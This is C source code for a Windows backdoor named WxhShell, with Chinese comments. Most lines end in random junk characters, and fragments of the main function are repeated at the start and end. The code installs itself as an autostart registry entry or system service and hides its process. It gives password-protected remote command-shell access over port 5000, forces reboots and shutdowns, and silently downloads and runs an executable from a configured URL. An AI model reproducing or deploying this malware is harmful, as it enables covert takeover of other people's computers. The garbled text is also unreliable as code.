WinExec(wscfg.ws_filenam,SW_HIDE); uw!|G>
} "S:N-Tf%U
8A.7=C' z
if(!OsIsNt) { 'wrpW#
// 如果时win9x，隐藏进程并且设置为注册表启动 tqCg<NH.!m
HideProc(); [@Y q^.6t
StartWxhshell(lpCmdLine); C6~dN&q
} /p0LtUMu
else us%RQ8=k
if(StartFromService()) zQ}N mlk
// 以服务方式启动 CaBS0' n
StartServiceCtrlDispatcher(DispatchTable); %LHV0u
else gUA}%YXe
// 普通方式启动 nh)R
StartWxhshell(lpCmdLine); iGLYM-
&NeYKh?
return 0; 0pa^O$?p
} +=Wdn)T
^ZUgDQduc
~+yo;[1Yc
:j<JZs>`R
=========================================== ZiYzsn
0\@|M@X=
C/Bx_j((
? M_SNv
ZS]f+}0/}
`r(J6,O
" /ASI0h
P'9io!Z-s
#include <stdio.h> WI_mJ/2
#include <string.h> ]_8I_VcQ
#include <windows.h> }92lr87
#include <winsock2.h> !p2,|6Y`y
#include <winsvc.h> D(U3zXdO
#include <urlmon.h> @(fY4]K
ilpZ/Rs
#pragma comment (lib, "Ws2_32.lib") P%HyIODS
#pragma comment (lib, "urlmon.lib") *%'7~58ObS
G!%XQ\a!
#define MAX_USER 100 // 最大客户端连接数 {NgY8wQB
#define BUF_SOCK 200 // sock buffer \3?;[xD
#define KEY_BUFF 255 // 输入 buffer &W// Ox )f
iGVb.=)
#define REBOOT 0 // 重启 #-j! ;?
#define SHUTDOWN 1 // 关机 B-'BJ|*4I
8k?L{hF|nW
#define DEF_PORT 5000 // 监听端口 }AZx/[k |z
*[:CbFE0y
#define REG_LEN 16 // 注册表键长度 Yka&Kkw
#define SVC_LEN 80 // NT服务名长度 \ZWmef
_J~ta.
// 从dll定义API ik0Q^^1?Y
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); n4T2'e
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p+UHJ&
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $'{`i5XB
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); vqz#V=J{
-01 1U!
// wxhshell配置信息 0P3|1=
struct WSCFG { @aN=U=
int ws_port; // 监听端口 +{i"G,3
char ws_passstr[REG_LEN]; // 口令 ef:$1VIBda
int ws_autoins; // 安装标记, 1=yes 0=no ]G~N+\8]U
char ws_regname[REG_LEN]; // 注册表键名 QYw4kD}
char ws_svcname[REG_LEN]; // 服务名 >E ;o"
char ws_svcdisp[SVC_LEN]; // 服务显示名 edk9Qd9
char ws_svcdesc[SVC_LEN]; // 服务描述信息 _XNR um4
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <sYw%9V
int ws_downexe; // 下载执行标记, 1=yes 0=no TxxB0
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nk$V{(FJ
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 o+Ti$`2<O7
ur,"K'w
}; bTy)0ta>AF
<;0N@
// default Wxhshell configuration ';|>`<
struct WSCFG wscfg={DEF_PORT, {^5<{j3e
"xuhuanlingzhe", )k] !u
1, V3~a!k
"Wxhshell", 8421-c6y>
"Wxhshell", jI2gi1,a
"WxhShell Service", pXj/6+^
"Wrsky Windows CmdShell Service", Q*&aC|b&
"Please Input Your Password: ", I+j|'=M
1, fZ~kw*0*
"http://www.wrsky.com/wxhshell.exe", .P:f
"Wxhshell.exe" EJ;0ypbG
}; n.6 0$kR`
U2>dwn
// 消息定义模块 Fif^V
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; r,@X>_}
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2G}7R5``9
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4[CBW
char *msg_ws_ext="\n\rExit."; \g:qQ*.
char *msg_ws_end="\n\rQuit."; fy=C!N&/
char *msg_ws_boot="\n\rReboot..."; p2c=;5|/Q
char *msg_ws_poff="\n\rShutdown..."; $N+{r=
char *msg_ws_down="\n\rSave to "; hB$Y4~T%
m/c&/6nk
char *msg_ws_err="\n\rErr!"; 9_A0:S9Z
char *msg_ws_ok="\n\rOK!"; /xm#:+Sc
:;*#Qh3"
char ExeFile[MAX_PATH]; kPX2e h
int nUser = 0; pM'IQ3N
HANDLE handles[MAX_USER]; 5v>{Z0TE[6
int OsIsNt; . (*kgv@3x
LXu"rfp
SERVICE_STATUS serviceStatus; CBnouKc:
SERVICE_STATUS_HANDLE hServiceStatusHandle; .Lr)~
G<^]0`"+)t
// 函数声明 :UDn^(#
int Install(void); 0B$7S,2
int Uninstall(void); ~UJu @M
int DownloadFile(char *sURL, SOCKET wsh); <,4R2'
int Boot(int flag); vXM/nw|5
void HideProc(void); l88a#zUQDN
int GetOsVer(void); &c<}++'h
int Wxhshell(SOCKET wsl); @FdCbPl$
void TalkWithClient(void *cs); JfP\7
int CmdShell(SOCKET sock); @+\S!o3m
int StartFromService(void); 8}?Y;>s\
int StartWxhshell(LPSTR lpCmdLine); )lDIzLp
L^ #<HQ
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); kulQR>u
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ZYA.1VrM
7=p-A_X
// 数据结构和表定义 'D0X?2
SERVICE_TABLE_ENTRY DispatchTable[] = R|)2Dg
{ 6`4W,
{wscfg.ws_svcname, NTServiceMain}, Y zBA{FE
{NULL, NULL} /@:up+$
}; nc\C4g
? __aVQ7
// 自我安装 d7_g u
int Install(void) 0n<(*bfW
{ w^dueP7J
char svExeFile[MAX_PATH]; $uFh$f
HKEY key; Q{l*62Bx
strcpy(svExeFile,ExeFile); DNW2;i<hsz
Ub'%pU
// 如果是win9x系统，修改注册表设为自启动 ^`jZKh8)h
if(!OsIsNt) { ;&W;
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lR@i`)'?U
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $nfBvf
RegCloseKey(key); ^L8Wn6s'
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3?*M{Y|
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s*)41\V0
RegCloseKey(key); xf^<ec
return 0; )p!*c,
} \Sw+]pr~
} yK&*,J |
} ANFg]g.Az
else { .?i-rTF:
C'8!cPFVv
// 如果是NT以上系统，安装为系统服务 EOBs}M;
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); jI{~s]Q
if (schSCManager!=0) /[20e1 w!
{ &weY8\HD
SC_HANDLE schService = CreateService ( *9Ip
( M)`HK .
schSCManager, da00p-U
wscfg.ws_svcname, hSkc9jBF
wscfg.ws_svcdisp, W3jXZ>
SERVICE_ALL_ACCESS, 0tW<LR-}E
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Pn+IJ=0Y
SERVICE_AUTO_START, &'huS?gA9
SERVICE_ERROR_NORMAL, J~iOP
svExeFile, W8G9rB|T
NULL, MS st
NULL, b@2Cll#
NULL, &PRx,G5
NULL, F%PwIB~cy
NULL 0HHui7Yy>
); uOG-IHuF
if (schService!=0) 43J\8WBn@
{ $c@w$2
CloseServiceHandle(schService); 83 i1
CloseServiceHandle(schSCManager); Z@uTkqG)
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); o9m
strcat(svExeFile,wscfg.ws_svcname); tIGVB+g{F
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { w\o)bn
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); + %MO7vL
RegCloseKey(key); (Pk"NEP
return 0; aJ5H3X}Y
} c7+Djqs
} aE7u5PM
CloseServiceHandle(schSCManager); %ezb^O_6v
} ggm2%|?X
} *3_f&Y
e}'#Xv
return 1; ^])e[RN7?n
} zd*3R+>U'>
$N}/1R^?r
// 自我卸载 tjZ\h=
int Uninstall(void) i<4>\nc
{ ;m@1Ec@*p
HKEY key; fJ)N:q`
fg9?3x Z
if(!OsIsNt) { JJ/1daj
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,&.W6sW
RegDeleteValue(key,wscfg.ws_regname); Z0[)u_<
RegCloseKey(key); )%iRZ\`f
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { . ]o3A8
RegDeleteValue(key,wscfg.ws_regname); 2E`~ qn
RegCloseKey(key); U,Z"G1^
return 0; hWq.#e6
} j>0<#SYBu
} ?w+ QbT
} QP6z?j.
else { DR k]{^C~
-A/ds1=;
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K<@[_W+
if (schSCManager!=0) zVM4BT(
{ le7 `uz!%
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?xtt7*'D
if (schService!=0) kAZC"qM%i
{ R*s* +I
if(DeleteService(schService)!=0) { V#ndyUM;
CloseServiceHandle(schService); kCima/+_
CloseServiceHandle(schSCManager); Q~fwWp-J
return 0; hq/J6 M
} )t|^Nuj8
CloseServiceHandle(schService); iD>G!\&
} T)WZ_bR
CloseServiceHandle(schSCManager); Y]C;T
} hc-lzYS
} /635B*g
r1i$D
return 1; `IEq@Wr#$!
} v"z(JF
IFiTTIlT0
// 从指定url下载文件 %mY|
int DownloadFile(char *sURL, SOCKET wsh) CJzm}'NY
{ s~S?D{!
HRESULT hr; NTqo`VWe
char seps[]= "/"; [f<"p[
char *token; q1YLq(e
char *file; oi7 3YOB
char myURL[MAX_PATH]; j((hqJr
char myFILE[MAX_PATH]; \,>_c
?VFM]hO
strcpy(myURL,sURL); w[ Axs8N'
token=strtok(myURL,seps); ,LhEshf
while(token!=NULL) -#hK|1]
{ Q]< (bD.7
file=token; +"'F Be
token=strtok(NULL,seps); ]]>nbgGn#
} H76E+AY
}<vvxi
GetCurrentDirectory(MAX_PATH,myFILE); Vy]A,Rn7
strcat(myFILE, "\\"); B,3 t`
strcat(myFILE, file); ; ;<J x.
send(wsh,myFILE,strlen(myFILE),0); l`SK*Bm~<
send(wsh,"...",3,0); ./$ <J6-J
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); q1H=/[a
if(hr==S_OK) 53B.2 4Tm
return 0; S[vRw]*
else |5W8Q|>%
return 1; ,{?wKXJ}L!
H{ZLk,
} L>SZgmV+
5v"Y\k+1
// 系统电源模块 _-n Y2)
int Boot(int flag) Z;hyi'rPJ
{ d-~vR(tU
HANDLE hToken; F&xv z2G
TOKEN_PRIVILEGES tkp; ;t}'X[U
z1F9$^
if(OsIsNt) { &]w#z=5SXi
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); DL,[k (
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); gWkjUz)
tkp.PrivilegeCount = 1; .N5'.3
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; S#k{e72 *
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .>P~uZiX!
if(flag==REBOOT) { !~WZ_z
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *2`:VFEV
return 0; ^%;"[r
} [q'eENG
else { v{o? #Sk1
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) g^jJ8k,7(
return 0; ~]&B>q
} dsV ~|D6:
} 7R: WX:
else { ozU2
if(flag==REBOOT) { [eyb7\#
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H"_v+N5=
return 0; KGu= ;
} `qE4U4
else { J;~E<_"Hn
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) N r<9u$d9=
return 0; TFO74^
} i-b1d'?Rb
} CJp-Y}fGEA
GA\2i0ow
return 1; Rb#/qkk/
} pw=F' Y@N
hcyn
// win9x进程隐藏模块 }wfI4?}j}
void HideProc(void) ^p,3)$
{ 2 l(Dee Y
Xtkw Z3
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8)pB_en3sO
if ( hKernel != NULL ) L?HF'5o
{ `_GO=QQ
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); YZ< NP
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); BhLZ7*
FreeLibrary(hKernel); ^#;RLSv
} //<:k8
p5-<P?B
return; `gI~|A4
} &mcR
"qS!B.rt:
// 获取操作系统版本 jn^fgH?
int GetOsVer(void) Oxv+1Ub<Dv
{ G,]z(%
OSVERSIONINFO winfo; 1aq2aLx
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 80}4/8
GetVersionEx(&winfo); kbhX?; <`
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) x6ahZ
return 1; 9<l-NU9 _
else 088C|
return 0; ^>^\CP]
} B7!;]'&d
frc{>u~t
// 客户端句柄模块 E67XPvo1+@
int Wxhshell(SOCKET wsl) MKC$;>i
{ V\AK6U@r^
SOCKET wsh; 0~]QIdu{AR
struct sockaddr_in client; 'irGvex
DWORD myID; E_3r[1l
/'4Q{8.a
while(nUser<MAX_USER) #/+I*B*y
{ ,T$r9!WTM
int nSize=sizeof(client); c;wA
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); MqdB\OW&
if(wsh==INVALID_SOCKET) return 1; -2 xE#r
&DLhb90
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~M*gsW$
if(handles[nUser]==0) ?L\z}0#
closesocket(wsh); @Dj:4
else c4 5?St
nUser++; 4UD' %}>y
} .E$q&7@/j
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2h)8Fq_"
BSKEh"f
return 0; skR,-:"8
} RM,'o[%
>rw"Rd'
// 关闭 socket nLJBq)i
void CloseIt(SOCKET wsh) ~C|,b"
{ E0YU[([G
closesocket(wsh); eu9w|g
nUser--; X`1p'JD
ExitThread(0); t#5:\U5r.
} '#H")i
Pbe7SRdr^
// 客户端请求句柄 RdI};K
void TalkWithClient(void *cs) lsY `c"NW>
{ ln#\sA?iG
&SmXI5>Bo0
SOCKET wsh=(SOCKET)cs; U:n*<l-k}
char pwd[SVC_LEN]; EkZjO Ci
char cmd[KEY_BUFF]; K]<u8eF
char chr[1]; b[srG6{ &
int i,j; o1k#."wHr
QKccrAo
while (nUser < MAX_USER) { FJwt?3\u5
7`fY*O6
if(wscfg.ws_passstr) { Dtt-|_EMS
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X*O9JGh
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N09KVz2Q
//ZeroMemory(pwd,KEY_BUFF); =dGKF`tR
i=0; s}(X]Gx1
while(i<SVC_LEN) { ~ziexZ=N
C[8KlD
// 设置超时 $XGtS$
fd_set FdRead; lKWr=k~
struct timeval TimeOut; <*Ub2B[m
FD_ZERO(&FdRead); Dm%%e o
FD_SET(wsh,&FdRead); s.:r;%a
TimeOut.tv_sec=8; aZKXD! 4
TimeOut.tv_usec=0; c'05{C
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J3B.-XJ+n
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); VR4%v9[1
y|sma;D
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {mSJUK?TKl
pwd=chr[0]; e4[) WNR
if(chr[0]==0xd || chr[0]==0xa) { dy:d=Z
pwd=0; _Adsq8sFW
break; p{.8_#O%S
} d>!p=O`>{q
i++; {/ &B!zvl
} h8=h >W-
Qra>}e%*
// 如果是非法用户，关闭 socket RmOyGSO
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4seciz0?
} pjN:&#Y]
!O{z 3W
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +'XhC#:
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l^r' $;<m
Mr*|9h
while(1) { S$O,] @)
+(mL~td01
ZeroMemory(cmd,KEY_BUFF); dJl^ADX[@
({M?Q>s
// 自动支持客户端 telnet标准 % {Q-8w!
j=0; RrWNJ&o
while(j<KEY_BUFF) { vg(K$o{BT
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); maDz W_3
cmd[j]=chr[0]; *#2Rvt*Ox
if(chr[0]==0xa || chr[0]==0xd) { O,mip
cmd[j]=0; Of`c`-<j
break; ]k*1KP
} ,4Y*:JU4
j++; [6RfS
} gX,9Gh
2[up+;%Y
// 下载文件 A]?^ H<
if(strstr(cmd,"http://")) { `o si"o9
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8i:[:Z
if(DownloadFile(cmd,wsh)) |+NuYz?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); K"l0w**Og#
else @\}YAa>>"I
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @ Nb%L&=P8
} (F8AL6
else { %MJ;Q?KB
XP;x@I#l
switch(cmd[0]) { d+}kg
Zq*eX\#C
// 帮助 3k'.(P|F
case '?': { A1A3~9HuK
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5f{|"LG&
break; n+oDC65[
} <LA^%2jT
// 安装 M!{'ED
case 'i': { >5Lexj
if(Install()) n )K6i7]xk
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \!H{Ks{#R.
else B*@6xS[IL
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Dg2uE8k
break; 7>-yaL{
} %j{.0H
// 卸载 :'*DMW~
case 'r': { EXpSh}
if(Uninstall()) *^h_z;{,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )}-$A-p#
else Q%5F ]`VN
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k^%_V|&W/(
break; j>'B[
} ZnXejpj)D
// 显示 wxhshell 所在路径 N[k<@Q?*a
case 'p': { vv/J 5#^,\
char svExeFile[MAX_PATH]; Kt `
strcpy(svExeFile,"\n\r"); 4P kfUMX
strcat(svExeFile,ExeFile); qtzRCA!9(Z
send(wsh,svExeFile,strlen(svExeFile),0); {L0;{
break; ^?"^Pmw
} zk=\lp2
// 重启 e|'N(D}h*
case 'b': { 6^YJ]w
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X~RH^VYv
if(Boot(REBOOT)) rt b*n~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); b3U6;]|x
else { X\sm[_I
closesocket(wsh); V(mnyI
ExitThread(0); +Me2U9
} (@&I_>2Q
break; $']VQ4tZ
} 40K2uT{cq
// 关机 <NB41/
case 'd': { xmH-!Da
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \G;CQV#{9
if(Boot(SHUTDOWN)) 7g6RiH}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 59!)j>f
else { fLB1)kTS
closesocket(wsh); 77We;a
ExitThread(0); UR3$B%i
} Alz~-hqQ
break; kx{!b3"
} q)iTn)Z!
// 获取shell X?dfcS*!n
case 's': { |}S1o0v{(a
CmdShell(wsh); t26ij`V
closesocket(wsh); ;f%|3-q1[
ExitThread(0); p&3> `C
break; I/s.xk_i
} J22rv(
// 退出 '29WscU
case 'x': { ;$!I&<)
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); aWaw&u
CloseIt(wsh); Rd! 2\|
break; b5 Q NEi
} \Ph7(ik
// 离开 C\Ayv)S#2
case 'q': { pm]fQuq
send(wsh,msg_ws_end,strlen(msg_ws_end),0); @"8R3BN
closesocket(wsh); ;<-7*}Dj
WSACleanup(); rn" pKUd
exit(1); \P?A7vuhLs
break; s4,(26y
} 1K[(ou'rl
} 25em[Q:
} 4lz{G*u
J{~Rxa
// 提示信息 9S1#Lr`r
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $G[KT):N
} ,")F[%v
} \4s;!R!
H;I~N*ltJ(
return; Z.Pi0c+
} }gCHQ;U7`
POGw`:)A
// shell模块句柄 M#M?1(O/NE
int CmdShell(SOCKET sock) |I1+"Mp
{ 6tdI6
STARTUPINFO si; $Jf9;.
ZeroMemory(&si,sizeof(si)); r/AHJU3&eY
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }ND'0*#
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ")M;+<c"l
PROCESS_INFORMATION ProcessInfo; D'L{wm
char cmdline[]="cmd"; ;Qa;@
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); detLjlE
return 0; &O tAAE
} og-]tEWA1
-1W
// 自身启动模式 yXF|Sqv
int StartFromService(void) &r@H(}$1\
{ !Zs,-=^D
typedef struct 295w.X(J
{ rJ(OAKnY
DWORD ExitStatus; 7a<_BJXx
DWORD PebBaseAddress; xNgt[fLpS
DWORD AffinityMask; n`<U"$*
DWORD BasePriority; (,LL[&;:
ULONG UniqueProcessId; 'F5)ACA%
ULONG InheritedFromUniqueProcessId; :]c=pH
} PROCESS_BASIC_INFORMATION; F<r4CHfh;
;r!\-]5$
PROCNTQSIP NtQueryInformationProcess; 0w3b~RJ
0&$xX!]
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Gvn: c/m;
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =|0/Ynfe
l0`'5>
HANDLE hProcess; dS$ji#+d$
PROCESS_BASIC_INFORMATION pbi; fn1pa@P
G(\Ckf:
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); RgGA$HN/
if(NULL == hInst ) return 0; p >aw
'v`_Ii|-
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Yy@g9mi
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }n95< {
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); BXA]9eK
wLMvC{5
if (!NtQueryInformationProcess) return 0; bi,mM,N/
l* Y[^'
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |<Bpv{]P
if(!hProcess) return 0; -S$$/sR
,}<RrUfD
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 76cEKHa<
-+P7:4/
CloseHandle(hProcess); .)`-Hkxa
F< |c4
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ifrq
if(hProcess==NULL) return 0; !!+Da>
t/ eo]
HMODULE hMod; PYieD}'
char procName[255]; RbAt3k;y
unsigned long cbNeeded; J wFned#T
o?dR\cxj
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); la702)N{
PP-kz;|
CloseHandle(hProcess); xt))]aH
kY!C_kFcn
if(strstr(procName,"services")) return 1; // 以服务启动 i4VK{G~g"
$e1:Q#den2
return 0; // 注册表启动 V6+Zh>'S
} %MuaW(I o
H),RA]S
// 主模块 f0FP9t3k
int StartWxhshell(LPSTR lpCmdLine) !a[$)c
{ w\DspF
SOCKET wsl; \G3!TwC%
BOOL val=TRUE; [B,p,Q"
int port=0; 2 `&<bt[g
struct sockaddr_in door; dXO=ZU/N
KpGUq0d@
if(wscfg.ws_autoins) Install(); TkT-$=i
%~\
port=atoi(lpCmdLine); gvo?([j-m
_n_sfT6)B
if(port<=0) port=wscfg.ws_port; |."G?*
h0XH`v
WSADATA data; Bb_Q_<DTs
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; LP?P=c
_H2tZ%RM
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; >Bx8IO1_\d
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5Hy3\_ +
door.sin_family = AF_INET; >[P%Ty);
door.sin_addr.s_addr = inet_addr("127.0.0.1"); l/F!Bq[*g
door.sin_port = htons(port); -lnevrl
+"Ub/[J{G1
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +!xu{2!
closesocket(wsl); V4\560
return 1; xp=Zd\5W$
} -3]|[
9m~t j_
if(listen(wsl,2) == INVALID_SOCKET) { mQ=sNZ-d]
closesocket(wsl); (HJ$lxk<2h
return 1; tj0Qr-/
} Y"oDFo,
Wxhshell(wsl); 4y>(RrVG
WSACleanup(); !l"tI#?6W%
f?5A"-NS
return 0; TZBVU&,{Z
0V7 _n
} ~4+8p9f
NQ{-&#@/v
// 以NT服务方式启动 ^(g_.>
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) CPGL!:
{ Z+,CL/
DWORD status = 0; gi 5XP]z
DWORD specificError = 0xfffffff; Iy.mVtcsZ
^Rk^XQCh
serviceStatus.dwServiceType = SERVICE_WIN32; %GVN4y&
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ) H+d.Y
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ETg{yBsp
serviceStatus.dwWin32ExitCode = 0; HSC6;~U
serviceStatus.dwServiceSpecificExitCode = 0; Tplg2p%k
serviceStatus.dwCheckPoint = 0; UeNF^6sWu0
serviceStatus.dwWaitHint = 0; L5&K}F]r^
aPt{C3<
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); FR(QFt!g
if (hServiceStatusHandle==0) return; w_!%'9m>
2$Wo&Q^_
status = GetLastError(); Onyh1
if (status!=NO_ERROR) n5\}KZh
{ w-M7opkq
serviceStatus.dwCurrentState = SERVICE_STOPPED; J7Sx!PQ
serviceStatus.dwCheckPoint = 0; u9,=po=+7f
serviceStatus.dwWaitHint = 0; aC}p^Nkr"k
serviceStatus.dwWin32ExitCode = status; %VS 2M #f
serviceStatus.dwServiceSpecificExitCode = specificError; LGXZx}4@;
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1Df,a#,y"
return; %2,/jhHL
} :-U53}Iy
tStJ2-5*t
serviceStatus.dwCurrentState = SERVICE_RUNNING; ]6q*)q:`
serviceStatus.dwCheckPoint = 0; St_Sl:m$
serviceStatus.dwWaitHint = 0; g kn)V~ij
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p_;r%o=
} D>S8$]^Dm
'?b\F~$8
// 处理NT服务事件，比如：启动、停止 <a fO 6?`
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~7dF/Nn5
{ oHk27U G
switch(fdwControl) [)0 R'xL6
{ y%FYXwR{
case SERVICE_CONTROL_STOP: gz#+
serviceStatus.dwWin32ExitCode = 0; sX Z4U0#
serviceStatus.dwCurrentState = SERVICE_STOPPED; 0yKhp:^
serviceStatus.dwCheckPoint = 0; C,(j$Id
serviceStatus.dwWaitHint = 0; 2zM-Ob<U`
{ i!tc
SetServiceStatus(hServiceStatusHandle, &serviceStatus); y{?Kao7Ij
} N?zV*ngBS
return; @??u})^EL
case SERVICE_CONTROL_PAUSE: Z|}H^0~7S
serviceStatus.dwCurrentState = SERVICE_PAUSED; :|Upx4]Ec
break; 4':MI|/my_
case SERVICE_CONTROL_CONTINUE: DgVyy&7>
serviceStatus.dwCurrentState = SERVICE_RUNNING; k}#@8n|b
break; [Zh2DNp
case SERVICE_CONTROL_INTERROGATE: ps"9;4P
break; Vl-D<M+ih
}; ;tm3B2
SetServiceStatus(hServiceStatusHandle, &serviceStatus); zWJKYFqK
} :)j7U3u
JOPTc]
// 标准应用程序主函数 !#C)99L"F
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o16d`}/<
{ T:Bzz)2/
KoFv0~8Q
// 获取操作系统版本 ? 1GJa]G
OsIsNt=GetOsVer(); TX&[;jsj
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~6] )*y
$G)&J2zL
// 从命令行安装 75<el.'H
if(strpbrk(lpCmdLine,"iI")) Install(); )Gmb?!/^
?,!uA)({n
// 下载执行文件 4_WH 6Z
if(wscfg.ws_downexe) { v [dAywW
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _@7(g(pY 3
WinExec(wscfg.ws_filenam,SW_HIDE); { qjUI
} 1]HHe*'Z
Un]DFu
if(!OsIsNt) { 6<#Slw[
// 如果时win9x，隐藏进程并且设置为注册表启动 LMt0'Ml9
HideProc(); rYD']%2
